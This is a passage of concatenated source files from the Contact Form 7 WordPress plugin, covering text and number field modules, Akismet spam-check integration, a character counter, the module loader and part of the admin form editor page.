		$tgg->print( 'class_attr' );

		$tgg->print( 'min_max', array(
			'title' => __( 'Range', 'contact-form-7' ),
			'min_option' => 'min:',
			'max_option' => 'max:',
		) );

		$tgg->print( 'default_value', array(
			'type' => 'number',
			'with_placeholder' => false,
		) );
	?>
</div>

<footer class="insert-box">
	<?php
		$tgg->print( 'insert_box_content' );

		$tgg->print( 'mail_tag_tip' );
	?>
</footer>
<?php
}
contact-form-7/modules/text.php000064400000020001147510273060012447 0ustar00<?php
/**
** A base module for the following types of tags:
** 	[text] and [text*]		# Single-line text
** 	[email] and [email*]	# Email address
** 	[url] and [url*]		# URL
** 	[tel] and [tel*]		# Telephone number
**/

/* form_tag handler */

add_action( 'wpcf7_init', 'wpcf7_add_form_tag_text', 10, 0 );

function wpcf7_add_form_tag_text() {
	wpcf7_add_form_tag(
		array( 'text', 'text*', 'email', 'email*', 'url', 'url*', 'tel', 'tel*' ),
		'wpcf7_text_form_tag_handler',
		array(
			'name-attr' => true,
		)
	);
}

function wpcf7_text_form_tag_handler( $tag ) {
	if ( empty( $tag->name ) ) {
		return '';
	}

	$validation_error = wpcf7_get_validation_error( $tag->name );

	$class = wpcf7_form_controls_class( $tag->type, 'wpcf7-text' );

	if ( in_array( $tag->basetype, array( 'email', 'url', 'tel' ) ) ) {
		$class .= ' wpcf7-validates-as-' . $tag->basetype;
	}

	if ( $validation_error ) {
		$class .= ' wpcf7-not-valid';
	}

	$atts = array();

	$atts['size'] = $tag->get_size_option( '40' );
	$atts['maxlength'] = $tag->get_maxlength_option( '400' );
	$atts['minlength'] = $tag->get_minlength_option();

	if ( $atts['maxlength'] and $atts['minlength']
	and $atts['maxlength'] < $atts['minlength'] ) {
		unset( $atts['maxlength'], $atts['minlength'] );
	}

	$atts['class'] = $tag->get_class_option( $class );
	$atts['id'] = $tag->get_id_option();
	$atts['list'] = $tag->get_option( 'list', 'id', true );
	$atts['tabindex'] = $tag->get_option( 'tabindex', 'signed_int', true );
	$atts['readonly'] = $tag->has_option( 'readonly' );

	$atts['autocomplete'] = $tag->get_option(
		'autocomplete', '[-0-9a-zA-Z]+', true
	);

	if ( $tag->is_required() ) {
		$atts['aria-required'] = 'true';
	}

	if ( $validation_error ) {
		$atts['aria-invalid'] = 'true';
		$atts['aria-describedby'] = wpcf7_get_validation_error_reference(
			$tag->name
		);
	} else {
		$atts['aria-invalid'] = 'false';
	}

	$value = (string) reset( $tag->values );

	if ( $tag->has_option( 'placeholder' )
	or $tag->has_option( 'watermark' ) ) {
		$atts['placeholder'] = $value;
		$value = '';
	}

	$value = $tag->get_default_option( $value );

	$value = wpcf7_get_hangover( $tag->name, $value );

	$atts['value'] = $value;
	$atts['type'] = $tag->basetype;
	$atts['name'] = $tag->name;

	$html = sprintf(
		'<span class="wpcf7-form-control-wrap" data-name="%1$s"><input %2$s />%3$s</span>',
		esc_attr( $tag->name ),
		wpcf7_format_atts( $atts ),
		$validation_error
	);

	return $html;
}


add_action(
	'wpcf7_swv_create_schema',
	'wpcf7_swv_add_text_rules',
	10, 2
);

function wpcf7_swv_add_text_rules( $schema, $contact_form ) {
	$tags = $contact_form->scan_form_tags( array(
		'basetype' => array( 'text', 'email', 'url', 'tel' ),
	) );

	foreach ( $tags as $tag ) {
		if ( $tag->is_required() ) {
			$schema->add_rule(
				wpcf7_swv_create_rule( 'required', array(
					'field' => $tag->name,
					'error' => wpcf7_get_message( 'invalid_required' ),
				) )
			);
		}

		if ( 'email' === $tag->basetype ) {
			$schema->add_rule(
				wpcf7_swv_create_rule( 'email', array(
					'field' => $tag->name,
					'error' => wpcf7_get_message( 'invalid_email' ),
				) )
			);
		}

		if ( 'url' === $tag->basetype ) {
			$schema->add_rule(
				wpcf7_swv_create_rule( 'url', array(
					'field' => $tag->name,
					'error' => wpcf7_get_message( 'invalid_url' ),
				) )
			);
		}

		if ( 'tel' === $tag->basetype ) {
			$schema->add_rule(
				wpcf7_swv_create_rule( 'tel', array(
					'field' => $tag->name,
					'error' => wpcf7_get_message( 'invalid_tel' ),
				) )
			);
		}

		if ( $minlength = $tag->get_minlength_option() ) {
			$schema->add_rule(
				wpcf7_swv_create_rule( 'minlength', array(
					'field' => $tag->name,
					'threshold' => absint( $minlength ),
					'error' => wpcf7_get_message( 'invalid_too_short' ),
				) )
			);
		}

		if ( $maxlength = $tag->get_maxlength_option( '400' ) ) {
			$schema->add_rule(
				wpcf7_swv_create_rule( 'maxlength', array(
					'field' => $tag->name,
					'threshold' => absint( $maxlength ),
					'error' => wpcf7_get_message( 'invalid_too_long' ),
				) )
			);
		}
	}
}


/* Messages */

add_filter( 'wpcf7_messages', 'wpcf7_text_messages', 10, 1 );

function wpcf7_text_messages( $messages ) {
	$messages = array_merge( $messages, array(
		'invalid_email' => array(
			'description' =>
				__( "Email address that the sender entered is invalid", 'contact-form-7' ),
			'default' =>
				__( "Please enter an email address.", 'contact-form-7' ),
		),

		'invalid_url' => array(
			'description' =>
				__( "URL that the sender entered is invalid", 'contact-form-7' ),
			'default' =>
				__( "Please enter a URL.", 'contact-form-7' ),
		),

		'invalid_tel' => array(
			'description' =>
				__( "Telephone number that the sender entered is invalid", 'contact-form-7' ),
			'default' =>
				__( "Please enter a telephone number.", 'contact-form-7' ),
		),
	) );

	return $messages;
}


/* Tag generator */

add_action( 'wpcf7_admin_init', 'wpcf7_add_tag_generator_text', 15, 0 );

function wpcf7_add_tag_generator_text() {
	$tag_generator = WPCF7_TagGenerator::get_instance();

	$basetypes = array(
		'text' => __( 'text', 'contact-form-7' ),
		'email' => __( 'email', 'contact-form-7' ),
		'url' => __( 'URL', 'contact-form-7' ),
		'tel' => __( 'tel', 'contact-form-7' ),
	);

	foreach ( $basetypes as $id => $title ) {
		$tag_generator->add( $id, $title,
			'wpcf7_tag_generator_text',
			array( 'version' => '2' )
		);
	}
}

function wpcf7_tag_generator_text( $contact_form, $options ) {
	$field_types = array(
		'text' => array(
			'display_name' => __( 'Text field', 'contact-form-7' ),
			'heading' => __( 'Text field form-tag generator', 'contact-form-7' ),
			'description' => __( 'Generates a form-tag for a <a href="https://contactform7.com/text-fields/">single-line plain text input field</a>.', 'contact-form-7' ),
			'maybe_purpose' => 'author_name',
		),
		'email' => array(
			'display_name' => __( 'Email address field', 'contact-form-7' ),
			'heading' => __( 'Email address field form-tag generator', 'contact-form-7' ),
			'description' => __( 'Generates a form-tag for an <a href="https://contactform7.com/text-fields/">email address input field</a>.', 'contact-form-7' ),
			'maybe_purpose' => 'author_email',
		),
		'url' => array(
			'display_name' => __( 'URL field', 'contact-form-7' ),
			'heading' => __( 'URL field form-tag generator', 'contact-form-7' ),
			'description' => __( 'Generates a form-tag for a <a href="https://contactform7.com/text-fields/">URL input field</a>.', 'contact-form-7' ),
			'maybe_purpose' => 'author_url',
		),
		'tel' => array(
			'display_name' => __( 'Telephone number field', 'contact-form-7' ),
			'heading' => __( 'Telephone number field form-tag generator', 'contact-form-7' ),
			'description' => __( 'Generates a form-tag for a <a href="https://contactform7.com/text-fields/">telephone number input field</a>.', 'contact-form-7' ),
			'maybe_purpose' => 'author_tel',
		),
	);

	$basetype = $options['id'];

	if ( ! in_array( $basetype, array_keys( $field_types ) ) ) {
		$basetype = 'text';
	}

	$tgg = new WPCF7_TagGeneratorGenerator( $options['content'] );

?>
<header class="description-box">
	<h3><?php
		echo esc_html( $field_types[$basetype]['heading'] );
	?></h3>

	<p><?php
		$description = wp_kses(
			$field_types[$basetype]['description'],
			array(
				'a' => array( 'href' => true ),
				'strong' => array(),
			),
			array( 'http', 'https' )
		);

		echo $description;
	?></p>
</header>

<div class="control-box">
	<?php
		$tgg->print( 'field_type', array(
			'with_required' => true,
			'select_options' => array(
				$basetype => $field_types[$basetype]['display_name'],
			),
		) );

		$tgg->print( 'field_name', array(
			'ask_if' => $field_types[$basetype]['maybe_purpose']
		) );

		$tgg->print( 'class_attr' );

		$tgg->print( 'min_max', array(
			'title' => __( 'Length', 'contact-form-7' ),
			'min_option' => 'minlength:',
			'max_option' => 'maxlength:',
		) );

		$tgg->print( 'default_value', array(
			'with_placeholder' => true,
		) );
	?>
</div>

<footer class="insert-box">
	<?php
		$tgg->print( 'insert_box_content' );

		$tgg->print( 'mail_tag_tip' );
	?>
</footer>
<?php
}
contact-form-7/modules/akismet/akismet.php000064400000014567147510273060014601 0ustar00<?php
/**
 * The Akismet integration module
 *
 * @link https://akismet.com/development/api/
 */

wpcf7_include_module_file( 'akismet/service.php' );


add_action(
	'wpcf7_init',
	'wpcf7_akismet_register_service',
	30, 0
);

/**
 * Registers the Akismet service.
 */
function wpcf7_akismet_register_service() {
	$integration = WPCF7_Integration::get_instance();

	$integration->add_service( 'akismet',
		WPCF7_Akismet::get_instance()
	);
}


add_filter( 'wpcf7_spam', 'wpcf7_akismet', 10, 2 );

function wpcf7_akismet( $spam, $submission ) {
	if ( $spam ) {
		return $spam;
	}

	if ( ! wpcf7_akismet_is_available() ) {
		return false;
	}

	if ( ! $params = wpcf7_akismet_submitted_params() ) {
		return false;
	}

	$comment = array(
		'comment_type' => 'contact-form',
		'comment_author' => $params['author'],
		'comment_author_email' => $params['author_email'],
		'comment_author_url' => $params['author_url'],
		'comment_content' => $params['content'],
		'blog' => home_url(),
		'blog_lang' => get_locale(),
		'blog_charset' => get_option( 'blog_charset' ),
		'user_ip' => $submission->get_meta( 'remote_ip' ),
		'user_agent' => $submission->get_meta( 'user_agent' ),
		'referrer' => $_SERVER['HTTP_REFERER'] ?? '',
	);

	$datetime = date_create_immutable(
		'@' . $submission->get_meta( 'timestamp' )
	);

	if ( $datetime ) {
		$comment['comment_date_gmt'] = $datetime->format( DATE_ATOM );
	}

	if ( $permalink = get_permalink() ) {
		$comment['permalink'] = $permalink;
	}

	$server_vars = array_diff_key(
		$_SERVER,
		array_flip( array( 'HTTP_COOKIE', 'HTTP_COOKIE2', 'PHP_AUTH_PW' ) )
	);

	$comment = array_merge( $comment, $server_vars );

	$comment = apply_filters( 'wpcf7_akismet_parameters', $comment );

	if ( wpcf7_akismet_comment_check( $comment ) ) {
		$spam = true;

		$submission->add_spam_log( array(
			'agent' => 'akismet',
			'reason' => __( "Akismet returns a spam response.", 'contact-form-7' ),
		) );
	} else {
		$spam = false;
	}

	return $spam;
}


/**
 * Returns true if Akismet is active and has a valid API key.
 */
function wpcf7_akismet_is_available() {
	if ( is_callable( array( 'Akismet', 'get_api_key' ) ) ) {
		return (bool) Akismet::get_api_key();
	}

	return false;
}


/**
 * Returns an array of parameters based on the current form submission.
 * Returns false if Akismet is not active on the contact form.
 */
function wpcf7_akismet_submitted_params() {
	$akismet_tags = array_filter(
		wpcf7_scan_form_tags(),
		static function ( $tag ) {
			$akismet_option = $tag->get_option( 'akismet',
				'(author|author_email|author_url)',
				true
			);

			return (bool) $akismet_option;
		}
	);

	if ( ! $akismet_tags ) { // Akismet is not active on this contact form.
		return false;
	}

	$params = array(
		'author' => '',
		'author_email' => '',
		'author_url' => '',
		'content' => '',
	);

	foreach ( (array) $_POST as $key => $val ) {
		if ( '_wpcf7' == substr( $key, 0, 6 )
		or '_wpnonce' == $key ) {
			continue;
		}

		$vals = array_filter(
			wpcf7_array_flatten( $val ),
			static function ( $val ) {
				return '' !== trim( $val );
			}
		);

		if ( empty( $vals ) ) {
			continue;
		}

		if ( $tags = wpcf7_scan_form_tags( array( 'name' => $key ) ) ) {
			$tag = $tags[0];

			$akismet_option = $tag->get_option( 'akismet',
				'(author|author_email|author_url)',
				true
			);

			if ( 'author' === $akismet_option ) {
				$params['author'] = sprintf(
					'%s %s',
					$params['author'],
					implode( ' ', $vals )
				);

				continue;
			}

			if ( 'author_email' === $akismet_option
			and '' === $params['author_email'] ) {
				$params['author_email'] = $vals[0];
				continue;
			}

			if ( 'author_url' === $akismet_option
			and '' === $params['author_url'] ) {
				$params['author_url'] = $vals[0];
				continue;
			}

			$vals = array_filter(
				$vals,
				static function ( $val ) use ( $tag ) {
					if ( wpcf7_form_tag_supports( $tag->type, 'selectable-values' )
					and in_array( $val, $tag->labels ) ) {
						return false;
					} else {
						return true;
					}
				}
			);
		}

		if ( $vals ) {
			$params['content'] .= "\n\n" . implode( ', ', $vals );
		}
	}

	$params = array_map( 'trim', $params );

	return $params;
}


/**
 * Sends data to Akismet.
 *
 * @param array $comment Submission and environment data.
 * @return bool True if Akismet called it spam, or false otherwise.
 */
function wpcf7_akismet_comment_check( $comment ) {
	$spam = false;
	$query_string = wpcf7_build_query( $comment );

	if ( is_callable( array( 'Akismet', 'http_post' ) ) ) {
		$response = Akismet::http_post( $query_string, 'comment-check' );
	} else {
		return $spam;
	}

	if ( 'true' == $response[1] ) {
		$spam = true;
	}

	if ( $submission = WPCF7_Submission::get_instance() ) {
		$submission->push( 'akismet', array(
			'comment' => $comment,
			'spam' => $spam,
		) );
	}

	return apply_filters( 'wpcf7_akismet_comment_check', $spam, $comment );
}


add_filter( 'wpcf7_posted_data', 'wpcf7_akismet_posted_data', 10, 1 );

/**
 * Removes Akismet-related properties from the posted data.
 *
 * This does not affect the $_POST variable itself.
 *
 * @link https://plugins.trac.wordpress.org/browser/akismet/tags/5.0/_inc/akismet-frontend.js
 */
function wpcf7_akismet_posted_data( $posted_data ) {
	if ( wpcf7_akismet_is_available() ) {
		$posted_data = array_diff_key(
			$posted_data,
			array(
				'ak_bib' => '',
				'ak_bfs' => '',
				'ak_bkpc' => '',
				'ak_bkp' => '',
				'ak_bmc' => '',
				'ak_bmcc' => '',
				'ak_bmk' => '',
				'ak_bck' => '',
				'ak_bmmc' => '',
				'ak_btmc' => '',
				'ak_bsc' => '',
				'ak_bte' => '',
				'ak_btec' => '',
				'ak_bmm' => '',
			)
		);
	}

	return $posted_data;
}


add_filter(
	'wpcf7_default_template',
	'wpcf7_akismet_default_template',
	10, 2
);

function wpcf7_akismet_default_template( $template, $prop ) {
	if ( ! wpcf7_akismet_is_available() ) {
		return $template;
	}

	if ( 'form' === $prop ) {
		$template = str_replace(
			array(
				'[text* your-name ',
				'[email* your-email ',
			),
			array(
				'[text* your-name akismet:author ',
				'[email* your-email akismet:author_email ',
			),
			$template
		);

		$privacy_notice = sprintf( '%s %s',
			__( "This form uses Akismet to reduce spam.", 'contact-form-7' ),
			wpcf7_link(
				'https://akismet.com/privacy/',
				__( "Learn how your data is processed.", 'contact-form-7' ),
				array(
					'target' => '_blank',
					'rel' => 'nofollow noopener',
				)
			)
		);

		$template .= "\n\n" . $privacy_notice;
	}

	return $template;
}
contact-form-7/modules/akismet/service.php000064400000002770147510273060014575 0ustar00<?php

if ( ! class_exists( 'WPCF7_Service' ) ) {
	return;
}

class WPCF7_Akismet extends WPCF7_Service {

	private static $instance;


	public static function get_instance() {
		if ( empty( self::$instance ) ) {
			self::$instance = new self;
		}

		return self::$instance;
	}


	public function get_title() {
		return __( 'Akismet', 'contact-form-7' );
	}


	public function is_active() {
		return wpcf7_akismet_is_available();
	}


	public function get_categories() {
		return array( 'spam_protection' );
	}


	public function icon() {
	}


	public function link() {
		echo wpcf7_link(
			'https://akismet.com/',
			'akismet.com'
		);
	}


	public function display( $action = '' ) {
		echo sprintf(
			'<p>%s</p>',
			esc_html( __( "CAPTCHAs are designed to distinguish spambots from humans, and are therefore helpless against human spammers. In contrast to CAPTCHAs, Akismet checks form submissions against the global database of spam; this means Akismet is a comprehensive solution against spam. This is why we consider Akismet to be the centerpiece of the spam prevention strategy.", 'contact-form-7' ) )
		);

		echo sprintf(
			'<p><strong>%s</strong></p>',
			wpcf7_link(
				__( 'https://contactform7.com/spam-filtering-with-akismet/', 'contact-form-7' ),
				__( 'Spam filtering with Akismet', 'contact-form-7' )
			)
		);

		if ( $this->is_active() ) {
			echo sprintf(
				'<p class="dashicons-before dashicons-yes">%s</p>',
				esc_html( __( "Akismet is active on this site.", 'contact-form-7' ) )
			);
		}
	}

}
contact-form-7/modules/count.php000064400000002713147510273060012625 0ustar00<?php
/**
** A base module for [count], Twitter-like character count
**/

/* form_tag handler */

add_action( 'wpcf7_init', 'wpcf7_add_form_tag_count', 10, 0 );

function wpcf7_add_form_tag_count() {
	wpcf7_add_form_tag( 'count',
		'wpcf7_count_form_tag_handler',
		array(
			'name-attr' => true,
			'zero-controls-container' => true,
			'not-for-mail' => true,
		)
	);
}

function wpcf7_count_form_tag_handler( $tag ) {
	if ( empty( $tag->name ) ) {
		return '';
	}

	$targets = wpcf7_scan_form_tags( array( 'name' => $tag->name ) );
	$maxlength = $minlength = null;

	while ( $targets ) {
		$target = array_shift( $targets );

		if ( 'count' != $target->type ) {
			$maxlength = $target->get_maxlength_option();
			$minlength = $target->get_minlength_option();
			break;
		}
	}

	if ( $maxlength and $minlength
	and $maxlength < $minlength ) {
		$maxlength = $minlength = null;
	}

	if ( $tag->has_option( 'down' ) ) {
		$value = (int) $maxlength;
		$class = 'wpcf7-character-count down';
	} else {
		$value = '0';
		$class = 'wpcf7-character-count up';
	}

	$atts = array();

	$atts['id'] = $tag->get_id_option();
	$atts['class'] = $tag->get_class_option( $class );
	$atts['data-target-name'] = $tag->name;
	$atts['data-starting-value'] = $value;
	$atts['data-current-value'] = $value;
	$atts['data-maximum-value'] = $maxlength;
	$atts['data-minimum-value'] = $minlength;

	$html = sprintf(
		'<span %1$s>%2$s</span>',
		wpcf7_format_atts( $atts ),
		$value
	);

	return $html;
}
contact-form-7/load.php000064400000013344147510273060010746 0ustar00<?php

require_once WPCF7_PLUGIN_DIR . '/includes/l10n.php';
require_once WPCF7_PLUGIN_DIR . '/includes/capabilities.php';
require_once WPCF7_PLUGIN_DIR . '/includes/functions.php';
require_once WPCF7_PLUGIN_DIR . '/includes/formatting.php';
require_once WPCF7_PLUGIN_DIR . '/includes/pipe.php';
require_once WPCF7_PLUGIN_DIR . '/includes/pocket-holder.php';
require_once WPCF7_PLUGIN_DIR . '/includes/form-tag.php';
require_once WPCF7_PLUGIN_DIR . '/includes/form-tags-manager.php';
require_once WPCF7_PLUGIN_DIR . '/includes/shortcodes.php';
require_once WPCF7_PLUGIN_DIR . '/includes/swv/swv.php';
require_once WPCF7_PLUGIN_DIR . '/includes/contact-form-functions.php';
require_once WPCF7_PLUGIN_DIR . '/includes/contact-form-template.php';
require_once WPCF7_PLUGIN_DIR . '/includes/contact-form.php';
require_once WPCF7_PLUGIN_DIR . '/includes/mail.php';
require_once WPCF7_PLUGIN_DIR . '/includes/mail-tag.php';
require_once WPCF7_PLUGIN_DIR . '/includes/special-mail-tags.php';
require_once WPCF7_PLUGIN_DIR . '/includes/file.php';
require_once WPCF7_PLUGIN_DIR . '/includes/validation-functions.php';
require_once WPCF7_PLUGIN_DIR . '/includes/validation.php';
require_once WPCF7_PLUGIN_DIR . '/includes/submission.php';
require_once WPCF7_PLUGIN_DIR . '/includes/upgrade.php';
require_once WPCF7_PLUGIN_DIR . '/includes/integration.php';
require_once WPCF7_PLUGIN_DIR . '/includes/config-validator/validator.php';
require_once WPCF7_PLUGIN_DIR . '/includes/rest-api.php';
require_once WPCF7_PLUGIN_DIR . '/includes/block-editor/block-editor.php';
require_once WPCF7_PLUGIN_DIR . '/includes/html-formatter.php';

if ( is_admin() ) {
	require_once WPCF7_PLUGIN_DIR . '/admin/admin.php';
} else {
	require_once WPCF7_PLUGIN_DIR . '/includes/controller.php';
}


class WPCF7 {

	/**
	 * Loads modules from the modules directory.
	 */
	public static function load_modules() {
		self::load_module( 'acceptance' );
		self::load_module( 'akismet' );
		self::load_module( 'checkbox' );
		self::load_module( 'constant-contact' );
		self::load_module( 'count' );
		self::load_module( 'date' );
		self::load_module( 'disallowed-list' );
		self::load_module( 'doi-helper' );
		self::load_module( 'file' );
		self::load_module( 'flamingo' );
		self::load_module( 'hidden' );
		self::load_module( 'listo' );
		self::load_module( 'number' );
		self::load_module( 'quiz' );
		self::load_module( 'really-simple-captcha' );
		self::load_module( 'recaptcha' );
		self::load_module( 'reflection' );
		self::load_module( 'response' );
		self::load_module( 'select' );
		self::load_module( 'sendinblue' );
		self::load_module( 'stripe' );
		self::load_module( 'submit' );
		self::load_module( 'text' );
		self::load_module( 'textarea' );
	}


	/**
	 * Loads the specified module.
	 *
	 * @param string $mod Name of module.
	 * @return bool True on success, false on failure.
	 */
	protected static function load_module( $mod ) {
		return false
			|| wpcf7_include_module_file( $mod . '/' . $mod . '.php' )
			|| wpcf7_include_module_file( $mod . '.php' );
	}


	/**
	 * Retrieves a named entry from the option array of Contact Form 7.
	 *
	 * @param string $name Array item key.
	 * @param mixed $default_value Optional. Default value to return if the entry
	 *                             does not exist. Default false.
	 * @return mixed Array value tied to the $name key. If nothing found,
	 *               the $default_value value will be returned.
	 */
	public static function get_option( $name, $default_value = false ) {
		$option = get_option( 'wpcf7' );

		if ( false === $option ) {
			return $default_value;
		}

		if ( isset( $option[$name] ) ) {
			return $option[$name];
		} else {
			return $default_value;
		}
	}


	/**
	 * Update an entry value on the option array of Contact Form 7.
	 *
	 * @param string $name Array item key.
	 * @param mixed $value Option value.
	 */
	public static function update_option( $name, $value ) {
		$old_option = get_option( 'wpcf7' );
		$old_option = ( false === $old_option ) ? array() : (array) $old_option;

		update_option( 'wpcf7',
			array_merge( $old_option, array( $name => $value ) )
		);

		do_action( 'wpcf7_update_option', $name, $value, $old_option );
	}
}


add_action( 'plugins_loaded', 'wpcf7', 10, 0 );

/**
 * Loads modules and registers WordPress shortcodes.
 */
function wpcf7() {
	WPCF7::load_modules();

	add_shortcode( 'contact-form-7', 'wpcf7_contact_form_tag_func' );
	add_shortcode( 'contact-form', 'wpcf7_contact_form_tag_func' );
}


add_action( 'init', 'wpcf7_init', 10, 0 );

/**
 * Registers post types for contact forms.
 */
function wpcf7_init() {
	wpcf7_get_request_uri();
	wpcf7_register_post_types();

	do_action( 'wpcf7_init' );
}


add_action( 'admin_init', 'wpcf7_upgrade', 10, 0 );

/**
 * Upgrades option data when necessary.
 */
function wpcf7_upgrade() {
	$old_ver = WPCF7::get_option( 'version', '0' );
	$new_ver = WPCF7_VERSION;

	if ( $old_ver == $new_ver ) {
		return;
	}

	do_action( 'wpcf7_upgrade', $new_ver, $old_ver );

	WPCF7::update_option( 'version', $new_ver );
}


add_action( 'activate_' . WPCF7_PLUGIN_BASENAME, 'wpcf7_install', 10, 0 );

/**
 * Callback tied to plugin activation action hook. Attempts to create
 * initial user dataset.
 */
function wpcf7_install() {
	if ( $opt = get_option( 'wpcf7' ) ) {
		return;
	}

	wpcf7_register_post_types();
	wpcf7_upgrade();

	if ( get_posts( array( 'post_type' => 'wpcf7_contact_form' ) ) ) {
		return;
	}

	$contact_form = WPCF7_ContactForm::get_template(
		array(
			'title' =>
				/* translators: title of your first contact form. %d: number fixed to '1' */
				sprintf( __( 'Contact form %d', 'contact-form-7' ), 1 ),
		)
	);

	$contact_form->save();

	WPCF7::update_option( 'bulk_validate',
		array(
			'timestamp' => time(),
			'version' => WPCF7_VERSION,
			'count_valid' => 1,
			'count_invalid' => 0,
		)
	);
}
contact-form-7/admin/edit-contact-form.php000064400000020402147510273060014427 0ustar00<?php

// don't load directly
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

$save_button = sprintf(
	'<input %s />',
	wpcf7_format_atts( array(
		'type' => 'submit',
		'class' => 'button-primary',
		'name' => 'wpcf7-save',
		'value' => __( 'Save', 'contact-form-7' ),
	) )
);

?>

<div class="wrap" id="wpcf7-contact-form-editor">

<?php

echo sprintf(
	'<h1 class="wp-heading-inline">%1$s</h1> %2$s',
	esc_html(
		$post->initial()
		? __( 'Add New Contact Form', 'contact-form-7' )
		: __( 'Edit Contact Form', 'contact-form-7' )
	),
	( $post->initial() || ! current_user_can( 'wpcf7_edit_contact_forms' ) )
	? ''
	: wpcf7_link(
		menu_page_url( 'wpcf7-new', false ),
		__( 'Add New', 'contact-form-7' ),
		array( 'class' => 'page-title-action' )
	)
);

?>

<hr class="wp-header-end">

<?php

do_action( 'wpcf7_admin_warnings',
	$post->initial() ? 'wpcf7-new' : 'wpcf7',
	wpcf7_current_action(),
	$post
);

do_action( 'wpcf7_admin_notices',
	$post->initial() ? 'wpcf7-new' : 'wpcf7',
	wpcf7_current_action(),
	$post
);

if ( $post ) :

	echo sprintf(
		'<form %s>',
		wpcf7_format_atts( array(
			'method' => 'post',
			'action' => esc_url( add_query_arg(
				array( 'post' => $post_id ),
				menu_page_url( 'wpcf7', false )
			) ),
			'id' => 'wpcf7-admin-form-element',
			'disabled' => ! current_user_can( 'wpcf7_edit_contact_form', $post_id ),
		) )
	);

	if ( current_user_can( 'wpcf7_edit_contact_form', $post_id ) ) {
		wp_nonce_field( 'wpcf7-save-contact-form_' . $post_id );
	}

?>
<input type="hidden" id="post_ID" name="post_ID" value="<?php echo (int) $post_id; ?>" />
<input type="hidden" id="wpcf7-locale" name="wpcf7-locale" value="<?php echo esc_attr( $post->locale() ); ?>" />
<input type="hidden" id="hiddenaction" name="action" value="save" />
<input type="hidden" id="active-tab" name="active-tab" value="<?php echo esc_attr( $_GET['active-tab'] ?? '' ); ?>" />

<div id="poststuff">
<div id="post-body" class="metabox-holder columns-2 wp-clearfix">
<div id="post-body-content">
<div id="titlediv">
<div id="titlewrap">
<?php

	echo sprintf(
		'<input %s />',
		wpcf7_format_atts( array(
			'type' => 'text',
			'name' => 'post_title',
			'value' => $post->initial() ? '' : $post->title(),
			'id' => 'title',
			'spellcheck' => 'true',
			'autocomplete' => 'off',
			'disabled' => ! current_user_can( 'wpcf7_edit_contact_form', $post_id ),
			'placeholder' => __( 'Enter title here', 'contact-form-7' ),
			'aria-label' => __( 'Enter title here', 'contact-form-7' ),
		) )
	);

?>
</div><!-- #titlewrap -->

<div class="inside">
<?php

	if ( ! $post->initial() ) {

		if ( $shortcode = $post->shortcode() ) {
			echo sprintf(
				'<p class="description"><label for="wpcf7-shortcode">%1$s</label> <span class="shortcode wp-ui-highlight"><input %2$s /></span></p>',
				esc_html( __( "Copy this shortcode and paste it into your post, page, or text widget content:", 'contact-form-7' ) ),
				wpcf7_format_atts( array(
					'type' => 'text',
					'id' => 'wpcf7-shortcode',
					'onfocus' => 'this.select();',
					'readonly' => true,
					'class' => 'large-text code',
					'value' => $shortcode,
				) )
			);
		}

		if ( $shortcode = $post->shortcode( array( 'use_old_format' => true ) ) ) {
			echo sprintf(
				'<p class="description"><label for="wpcf7-shortcode-old">%1$s</label> <span class="shortcode old"><input %2$s /></span></p>',
				esc_html( __( "You can also use this old-style shortcode:", 'contact-form-7' ) ),
				wpcf7_format_atts( array(
					'type' => 'text',
					'id' => 'wpcf7-shortcode-old',
					'onfocus' => 'this.select();',
					'readonly' => true,
					'class' => 'large-text code',
					'value' => $shortcode,
				) )
			);
		}

	}

?>
</div>

</div><!-- #titlediv -->
</div><!-- #post-body-content -->

<div id="postbox-container-1" class="postbox-container">

<?php

	if ( current_user_can( 'wpcf7_edit_contact_form', $post_id ) ) :

?>

<section id="submitdiv" class="postbox">
<h2><?php echo esc_html( __( 'Status', 'contact-form-7' ) ); ?></h2>
<div class="inside">
<div class="submitbox" id="submitpost">

<div id="minor-publishing-actions">

<div class="hidden">
	<input type="submit" class="button-primary" name="wpcf7-save" value="<?php echo esc_attr( __( 'Save', 'contact-form-7' ) ); ?>" />
</div>

<?php

		if ( ! $post->initial() ) {
			echo sprintf(
				'<input %s />',
				wpcf7_format_atts( array(
					'type' => 'submit',
					'name' => 'wpcf7-copy',
					'class' => 'copy button',
					'value' => __( 'Duplicate', 'contact-form-7' ),
				) )
			);
		}

?>

</div><!-- #minor-publishing-actions -->

<div id="misc-publishing-actions">

<?php

		do_action( 'wpcf7_admin_misc_pub_section', $post_id );

?>
</div><!-- #misc-publishing-actions -->

<div id="major-publishing-actions">

<?php

		if ( ! $post->initial() ) {
			echo sprintf(
				'<div id="delete-action"><input %s /></div>',
				wpcf7_format_atts( array(
					'type' => 'submit',
					'name' => 'wpcf7-delete',
					'class' => 'delete submitdelete',
					'value' => __( 'Delete', 'contact-form-7' ),
				) )
			);
		}

?>

<div id="publishing-action">
	<span class="spinner"></span>
	<?php echo $save_button; ?>
</div>
<div class="clear"></div>
</div><!-- #major-publishing-actions -->
</div><!-- #submitpost -->
</div>
</section><!-- #submitdiv -->

<?php

	endif;

?>

<section id="informationdiv" class="postbox">
<h2><?php echo esc_html( __( "Do you need help?", 'contact-form-7' ) ); ?></h2>
<div class="inside">
	<p><?php echo esc_html( __( "Here are some available options to help solve your problems.", 'contact-form-7' ) ); ?></p>
	<ol>
		<li><?php echo sprintf(
			/* translators: 1: FAQ, 2: Docs ("FAQ & Docs") */
			__( '%1$s and %2$s', 'contact-form-7' ),
			wpcf7_link(
				__( 'https://contactform7.com/faq/', 'contact-form-7' ),
				__( 'FAQ', 'contact-form-7' )
			),
			wpcf7_link(
				__( 'https://contactform7.com/docs/', 'contact-form-7' ),
				__( 'docs', 'contact-form-7' )
			)
		); ?></li>
		<li><?php echo wpcf7_link(
			__( 'https://wordpress.org/support/plugin/contact-form-7/', 'contact-form-7' ),
			__( 'Support forums', 'contact-form-7' )
		); ?></li>
		<li><?php echo wpcf7_link(
			__( 'https://contactform7.com/custom-development/', 'contact-form-7' ),
			__( 'Professional services', 'contact-form-7' )
		); ?></li>
	</ol>
</div>
</section><!-- #informationdiv -->

</div><!-- #postbox-container-1 -->

<div id="postbox-container-2" class="postbox-container">
<div id="contact-form-editor" data-active-tab="">

<?php

	$editor = new WPCF7_Editor( $post );
	$panels = array();

	if ( current_user_can( 'wpcf7_edit_contact_form', $post_id ) ) {
		$panels = array(
			'form-panel' => array(
				'title' => __( 'Form', 'contact-form-7' ),
				'callback' => 'wpcf7_editor_panel_form',
			),
			'mail-panel' => array(
				'title' => __( 'Mail', 'contact-form-7' ),
